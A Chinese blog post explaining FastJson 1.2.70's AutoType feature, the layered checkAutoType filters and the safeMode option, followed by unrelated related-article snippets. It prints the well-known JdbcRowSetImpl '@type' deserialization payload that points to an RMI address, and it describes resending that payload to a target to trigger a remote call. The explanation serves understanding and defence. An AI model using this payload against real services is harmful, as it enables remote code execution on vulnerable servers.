当前位置: 首页 > news >正文

v1.2.70-FastJson的AutoType机制研究

v1.2.70-FastJson的AutoType机制研究

最近在对接Alexa亚马逊语音技能,Smart Home Skill Apis时,有一个配置的JSON字符串是这样的:

     { "capabilityResources": {"friendlyNames": [{"@type": "asset","value": {"assetId": "Alexa.Setting.Opening"}}]}}

在开发配置,只当是一个普通的字符串;直到单测开始,在解析这行字符串成JSONObject对象的时候报错,同时也抛出了一个异常:

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. asset

fastjson版本是:

        <dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.70</version></dependency>

autoType is not support,是什么含义,为什么fastjson独对这个字符串进行了check设置了ParserConfig.checkAutoType方法?

auToType问题

首先简单的解释一下为什么序列化中需要 引入AutoType

假设存在一个类,和一个接口:

public interface Father{}
public class Son implements Father{private Integer age;
}

构建出Son类后,json会将类型抹去,只保留顶级接口类型,使之反序列化时拿不到原先的Son类。

因此FastJson中就使用了"@type":"com.xx.xx.Son"

指定json串反序列化时的类型;这种设置在Redis中也有体现,采用的是

{"com.xx.xx.Son","age":1
}

的形式.

那么就带来了一个严重的问题#

在FastJson反序列的过程中,会通过@type构造类,并且根据后续的key调用其setter方法。

那么有经验的人可能有解除过,JAVA中存在着大量的风险类:

  1. com.sun.rowset.JdbcRowSetImpl:这个类在被实例化时会自动连接数据库,存在潜在的安全风险。
  2. java.lang.Runtimejava.lang.Runtime类在被实例化时会自动获取运行时对象,可以用于执行系统命令。
  3. java.lang.ProcessBuilderjava.lang.ProcessBuilder类在被实例化时会自动启动一个进程,可能导致系统被恶意利用。
  4. javax.script.ScriptEngineManager:这个类在被实例化时会加载脚本引擎,存在潜在的安全风险。
  5. java.util.logging.FileHandlerjava.util.logging.FileHandler类在被实例化时会自动创建日志文件,可能导致文件系统被攻击。

拿例子最多,也是早年攻击最频繁的JdbcRowSetImpl一说:

将 JSON字符串

{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "rmi://127.0.0.1:8888/Error","autoCommit": true
}

通过抓目标服务器JAVA,WEB应用的请求包,重新reSend一次;

然后jdk会在解析过程中构建 JdbcRowSetImpl 类,实现rmi远程调用的攻击;

不止如此,由于@type指定类的多样性,在获取到对方源码之后。

还可以通过此解析构造的模式直接从项目内部做出高危风险的操作。

因此FastJson在1.2.25版本后,推出完整的AutoType机制,开始了与黑客的 checkAutotype 博弈

CheckAutoType源码问题定位

因为每个版本的FastJson对checkAutoType都有大大小小的优化,贴图的代码版本是1.2.7

第一次过滤

1/

首先在1.2.68 版本中,引入的safeMode,为JSONObject对象初始化的时候会根据是否配置 fastjson.parser.safeMode 值进行开启安全模式,默认为false;在safeMode模式下,无论白名单和黑名单,都不支持autoType,这样可以杜绝反序列化Gadgets类变种攻击,需要通过ParserConfig.getGlobalInstance().setSafeMode(true); 开启

安全模式:取消 @type 指定类解析的机制

2/

下面的类型名>=192,小于<3,意义不明;

不过,围绕名字有一个有趣的地方;

因为事关类解析,所以fastjson没有对 @type:“xxxx”,xxxx为整形时的内容做任何限制;

所以

{"@type":"123"
}

是可以正常解析的

取消指定于3,则是???,意义不明

第二次过滤:

3/

这里为符号过滤,取第一个符号以及最后一个符号进行描述符检查,过滤字符串为 [L

这两个字符的含义是:

  • [ 字符:这个字符在 Java 中通常用于表示数组类型,恶意攻击者可能利用这个字符来构造恶意的数组类型,从而绕过安全检查,执行恶意代码。
  • L 字符:这个字符在 Java 中通常用于表示类的全限定名,恶意攻击者可能利用这个字符来构造恶意的类名,从而触发恶意行为。

1.2.43中进行的修复。

第三次过滤

4/

上一段为最暴力的黑名单过滤;

与黑客斗智斗勇中进化,从过去的类名名单判断,到现在使用hashCode散列存储的方式;

一是掩盖了当前黑名单的类,二是代码性能极大提高;

5/

下面一段先是使用通过typeNameINTERNAL_WHITELIST_HASHCODES 的计算寻址得到的boolean类型判断是否进入黑白名单的判断。

内部代码为,如果在白名单内则直接加载类,结束本次 checkAutoType

否则直接抛出异常

第四次过滤

6/

从deserializers、typeMapping、白名单中获得class;

判断其是否为解析目标时,指定类型的子类;

如果为否,则直接抛出异常;

AutoType关闭时过滤:

直接针对FastJson现有的黑名单以及白名单进行判断

最后一次过滤

针对类型的判断,高危接口:DataSource、RowSet、ClassLoader;

即使黑客前面绕的再好,也不会放开这三个涉及项目加载器,数据库DB的顶级接口;

最后也是判断一个构建出来的类是否已经存在了已经构建完成的构造器,如果存在,则一定是黑客为了绕开检车伪装的类。

因此重复构造直接抛出错误

总结

FastJson的漏洞与更新几乎都是围绕着checkAutoType进行,因为一款JSON化的工具,再本身性能难以再度突破的前提下,保证使用者的安全体验是衡量各个工具之间的重中之重。

但由由于FastJson在国内广泛的使用,而不管目前如何去更新,总有漏洞会为版本买单。

所以很多人也在Git上发起issues抗议这些问题:

讨论度也非常高,也有人不懂@type的存在意义。了解的人能知道,这也是无奈之举,像jackson中也引入了类型的@Class 关键字

大伙也需要给开源者,开源项目更多耐心;

在使用上,可以和开源这个项目的公司[阿里巴巴]一致,默认没有autoType或者直接开启安全模式一刀切

版权声明:本站原创文章,于2024-02-23,乐云一发表
转载请注明:https://leyunone.com/normal-notes/fastJson-warn.html

相关文章:

v1.2.70-FastJson的AutoType机制研究

v1.2.70-FastJson的AutoType机制研究 最近在对接Alexa亚马逊语音技能&#xff0c;Smart Home Skill Apis时&#xff0c;有一个配置的JSON字符串是这样的&#xff1a; { "capabilityResources": {"friendlyNames": [{"type": "asset",…...

老旧机子装linux——Xubuntu

目录 前言 正文 下载系统 ​编辑 制作系统盘&#xff1a; 安装界面 Xubuntu ​编辑 lubuntu 后语 前言 有两台电脑&#xff0c;一台装了Ubuntu22&#xff0c;一台装了debuntu。虽然debuntu界面与乌班图大体一样&#xff0c;但是编译器好像有点区别。由于机子为10年前的老…...

关于Redis中事务

事务的四个特性 Redis到底有没有原子性 Redis中的原子性不同于MySQL&#xff0c;相比于MySQL&#xff0c;Redis中的原子性几乎不值一提。 MySQL中的原子性&#xff0c;不仅仅是“要么全都执行&#xff0c;要么全都不执行”&#xff0c;它还保证了“一旦执行&#xff0c;结果…...

【数据分享】《中国文化文物与旅游统计年鉴》2022

最近老有同学过来询问《中国旅游年鉴》、《中国文化文物统计年鉴》、《中国文化和旅游统计年鉴》、《中国文化文物与旅游统计年鉴》&#xff0c;这四本年年鉴的关系以及怎么获取这四本年鉴。今天就在这里给大家分享一下这四本年鉴的具体情况。 实际上2018年&#xff0c;为适应…...

设计模式及其在软件开发中的应用

一、技术难点 设计模式在软件开发中扮演着至关重要的角色&#xff0c;但它们的应用也伴随着一系列技术难点。 模式选择与识别&#xff1a;在实际项目中&#xff0c;正确识别和选择合适的设计模式是一个挑战。不同的设计模式适用于不同的场景&#xff0c;错误的选择可能导致系统…...

LeetCode72编辑距离

题目描述 解析 一般这种给出两个字符串的动态规划问题都是维护一个二维数组&#xff0c;尺寸和这两个字符串的长度相等&#xff0c;用二维做完了后可以尝试优化空间。这一题其实挺类似1143这题的&#xff0c;只不过相比1143的一种方式&#xff0c;变成了三种方式&#xff0c;就…...

竞拍商城系统源码后端PHP+前端UNIAPP

下载地址&#xff1a;竞拍商城系统源码后端PHP前端UNIAPP...

千益畅行,共享旅游卡,灵活同行,畅游无忧的全方位解析

千益畅行&#xff0c;共享旅游卡&#xff0c;满足您多样化的同行出行需求 近期&#xff0c;关于千益畅行共享旅游卡的咨询热度不减&#xff0c;尤其是关于其同行人数的限制问题。为了给大家一个清晰的解答&#xff0c;我们深入探讨了该旅游卡的特点和优势。 千益畅行共享旅游…...

Web IDE 在线编辑器综合实践(Web IDE 技术探索 三)

前言 前面两篇文章&#xff0c;我们简单讲述了 WebContainer/api 、Terminal 的基本使用&#xff0c;离完备的在线代码编辑器就差一个代码编辑了。今天通过 monaco editor &#xff0c;来实现初级代码编辑功能&#xff0c;讲述的是整个应用的搭建&#xff0c;并不单独针对monac…...

Less is more VS 精一 [生活感悟]

"Less is More”和王阳明的“精一”思想确实有相似之处。 王阳明的“精一”思想强调的是专注于一件事&#xff0c;将其做到极致&#xff0c;这与"Less is More”中提倡的通过减少数量来提高质量的理念不谋而合。两者都强调了专注和深度的重要性&#xff0c;而不是追…...

函数的概念及图像

注&#xff1a; 判断两函数是否相同&#xff0c;只看定义域和对应法则。 1. 函数的定义 一般的&#xff0c;在一个变化过程中有两个变量 x&#xff0c;y。如果对于x在某个变化范围内的每一个确定值&#xff0c;按照某个对应法则&#xff0c;都有唯一确定的值y和他对应。那么y就…...

Linux中Apache网站基于Http服务的访问限制(基于地址/用户)

&#x1f3e1;作者主页&#xff1a;点击&#xff01; &#x1f468;‍&#x1f4bb;Linux高级管理专栏&#xff1a;点击&#xff01; ⏰️创作时间&#xff1a;2024年6月3日11点44分 &#x1f004;️文章质量&#xff1a;95分 为了更好地控制对网站资源的访问&#xff0c;可…...

滚动条详解:跨平台iOS、Android、小程序滚动条隐藏及自定义样式综合指南

滚动条是用户界面中的图形化组件&#xff0c;用于指示和控制内容区域的可滚动范围。当元素内容超出其视窗边界时&#xff0c;滚动条提供可视化线索&#xff0c;并允许用户通过鼠标滚轮、触屏滑动或直接拖动滑块来浏览未显示部分&#xff0c;实现内容的上下或左右滚动。它在保持…...

06 Linux 设备驱动模型

1、Overview Linux-2.6 引入的新的设备管理机制 - kobject 降低设备多样性带来的 Linux 驱动开发的复杂度,以及设备热拔插处理、电源管理等将硬件设备归纳、分类,然后抽象出一套标准的数据结构和接口驱动的开发,就简化为对内核所规定的数据结构的填充和实现驱动模型是 Linu…...

检测五个数是否一样的算法

目录 算法算法的输出与打印效果输出输入1输入2 打印打印1打印2 算法的流程图总结 算法 int main() {int arr[5] { 0 };int i 0;int ia 0;for (i 0; i < 5; i) { scanf("%d", &arr[i]); }for (i 1; i < 5; i) {if (arr[0] ! arr[i]) {ia 1;break;} }…...

java 原生http服务器 测试JS前端ajax访问实现跨域传post数据

后端 java eclipse 字节流转字符 package Httpv3;import com.sun.net.httpserver.Headers; import com.sun.net.httpserver.HttpExchange; import com.sun.net.httpserver.HttpHandler; import com.sun.net.httpserver.HttpServer;import java.io.IOException; import java.i…...

【机器学习】消息传递神经网络(MPNN)在分子预测领域的医学应用

1. 引言 1.1. 分子性质预测概述 分子性质预测是计算机辅助药物发现流程中至关重要的任务之一&#xff0c;它在许多下游应用如药物筛选和药物设计中发挥着核心作用&#xff1a; 1.1.1. 目的与重要性&#xff1a; 分子性质预测旨在通过分子内部信息&#xff08;如原子坐标、原…...

Python Flask实现蓝图Blueprint配置和模块渲染

Python基础学习&#xff1a; Pyhton 语法基础Python 变量Python控制流Python 函数与类Python Exception处理Python 文件操作Python 日期与时间Python Socket的使用Python 模块Python 魔法方法与属性 Flask基础学习&#xff1a; Python中如何选择Web开发框架&#xff1f;Pyth…...

Vue10-事件修饰符

一、示例&#xff1a;<a>标签不执行默认的跳转行为 1-1、方式一 <a href"http://www.baidu.com" onclick"event.preventDefault();">点击我</a> 1-2、方式二 1-3、方式三&#xff1a;事件修饰符 二、Vue的六种事件修饰符 2-1、prevent&…...

oracle中如何查询特定日期?

1. select last_day(to_date(20230101,YYYYMMDD)) from dual; select last_day(to_date(V_END_DATE,YYYYMMDD)) from dual; --查询任意一天 当月的最后一天 2. select to_char(to_date(20230101,YYYYMMDD)-1,YYYYMMDD) INTO V_START_DATE FROM DUAL; select to_char(to_dat…...

Python使用rosbag使用getattr只能获取一层的数据,不能直接获取多层数据例如 a.b.c.d。使用for range写一个递归用来获取多层数据

使用for循环和range来遍历属性列表确实是一个更简单直观的方式&#xff0c;特别是不需要考虑性能优化和异常处理时。以下是使用for循环代替递归的示例代码&#xff1a; python def get_nested_attr(obj, attr_str): attrs attr_str.split(.) for attr in attrs: # 尝试获取下…...

LNWT--篇章三小测

问题1: BERT训练时候的学习率learning rate如何设置? 在训练初期使用较小的学习率&#xff08;从 0 开始&#xff09;&#xff0c;在一定步数&#xff08;比如 1000 步&#xff09;内逐渐提高到正常大小&#xff08;比如上面的 2e-5&#xff09;&#xff0c;避免模型过早进入…...

【NoSQL】Redis练习

1、redis的编译安装 systemctl stop firewalld systemctl disable firewalld setenforce 0 yum install -y gcc gcc-c make wget cd /opt wget https://download.redis.io/releases/redis-5.0.7.tar.gz tar zxvf redis-5.0.7.tar.gz -C /opt/cd /opt/redis-5.0.7/ # 编译 make…...

Git 和 Github 的使用

补充内容&#xff1a;EasyHPC - Git入门教程【笔记】 文章目录 常用命令配置信息分支管理管理仓库 概念理解SSH 密钥HTTPS 和 SSH 的区别在本地生成 SSH key在 Github 上添加 SSH key 使用的例子同步本地仓库的修改到远程仓库拉取远程仓库的修改到本地仓库拉取远程仓库的分支并…...

学习分享-断路器Hystrix与Sentinel的区别

断路器&#xff08;Circuit Breaker&#xff09;简介 断路器&#xff08;Circuit Breaker&#xff09;是一种用于保护分布式系统的服务稳定性和容错性的设计模式。它的主要作用是在检测到某个服务的调用出现故障&#xff08;如超时、异常等&#xff09;时&#xff0c;快速失败…...

社区物资交易互助平台的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;管理员管理&#xff0c;基础数据管理&#xff0c;论坛管理&#xff0c;公告信息管理 前台账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;论坛&#xff0c;求助留言板&#xff0c;公…...

19-Nacos-服务实例的权重设置

19-Nacos-服务实例的权重设置 1.根据权重负载均衡&#xff1a; 1.服务器设备性能有差异&#xff0c;部分实例所在及其性能较高&#xff0c;有一些较差&#xff0c;我们希望性能好的机器承担更多的用户请求 Nacos提供了权重配置来控制访问频率&#xff0c;权重越大则访问频率…...

R语言数据探索和分析23-公共物品问卷分析

第一次实验使用最基本的公共物品游戏&#xff0c;不外加其他的treatment。班里的学生4人一组&#xff0c;一共44/411组。一共玩20个回合的公共物品游戏。每回合给15秒做决定的时间。第十回合后&#xff0c;给大家放一个几分钟的“爱心”视频&#xff08;链接如下&#xff09;&a…...

Webix前端界面框架:深度解析与应用实践

Webix前端界面框架&#xff1a;深度解析与应用实践 Webix&#xff0c;作为一款功能强大的前端界面框架&#xff0c;近年来在开发社区中逐渐崭露头角。本文将从四个方面、五个方面、六个方面和七个方面&#xff0c;深入剖析Webix的特性、优势、应用实践以及面临的挑战&#xff…...

Qt基于SQLite数据库的增删查改demo

一、效果展示 在Qt创建如图UI界面&#xff0c;主要包括“查询”、“添加”、“删除”、“更新”&#xff0c;四个功能模块。 查询&#xff1a;从数据库中查找所有数据的所有内容&#xff0c;并显示在左边的QListWidget控件上。 添加&#xff1a;在右边的QLineEdit标签上输入需…...

网站制作的软件有哪些/百度首页网站推广多少钱一年

一、冒泡排序 1、Explanation And Steps&#xff08;解释的步骤&#xff09; 冒泡排序&#xff08;Bubble Sort&#xff09;也是一种简单直观的排序算法。它重复地走访过要排序的数列&#xff0c;一次比较两个元素&#xff0c;如果他们的顺序错误就把他们交换过来。走访数列的…...

建设报名系统官方网站/seo网站推广什么意思

IoC&#xff0c;直观地讲&#xff0c;就是容器控制程序之间的关系&#xff0c;而非传统实现中&#xff0c;由程序代码直接操控。这也就是所谓“控制反转”的概念所在。控制权由应用代码中转到了外部容器&#xff0c;控制权的转移是所谓反转。IoC还有另外一个名字——“依赖注入…...

网页游戏排行榜前十推荐/seo怎么做关键词排名

kafka采坑记录&#xff1a; 1、kafka服务端server.properties中的broker.id集群内需要唯一。 2、kafka config文件中listeners和advertised.listeners需要配置本机ip:9092地址&#xff0c;不然消费不到数据。&#xff08;如:192.168.217.128:9092&#xff09; 3、java代码客户端…...

问答类网站怎么做/大连企业黄页电话

如何创建socket一般来说&#xff0c;当你点击该页面的链接时&#xff0c;你的浏览器做了一些和下面代码类似的事情:#create an INET, STREAMing sockets socket.socket(socket.AF_INET, socket.SOCK_STREAM)#now connect to the web server on port 80# - the normal http por…...

如何修改网站备案信息/北京seo推广公司

2019独角兽企业重金招聘Python工程师标准>>> 你应该具备的条件&#xff1a; 1 熟悉行业的国家制图标准 2 熟悉行业的制图符号 3 能够看得懂行业图纸 4 掌握相关的行业知识 5 心要细 转载于:https://my.oschina.net/u/727360/blog/108689...

广州seo网站推广优化/今日头条新闻在线看

什么是索引覆盖就是select的数据列只用从索引中就能够取得&#xff0c;不必读取数据行&#xff0c;换句话说查询列要被所建的索引覆盖。那么显然select * from ...是一种拙劣的查询&#xff0c;除非你建立了包含所有列的索引&#xff08;这样建索引脑子进水&#xff09;。对 于…...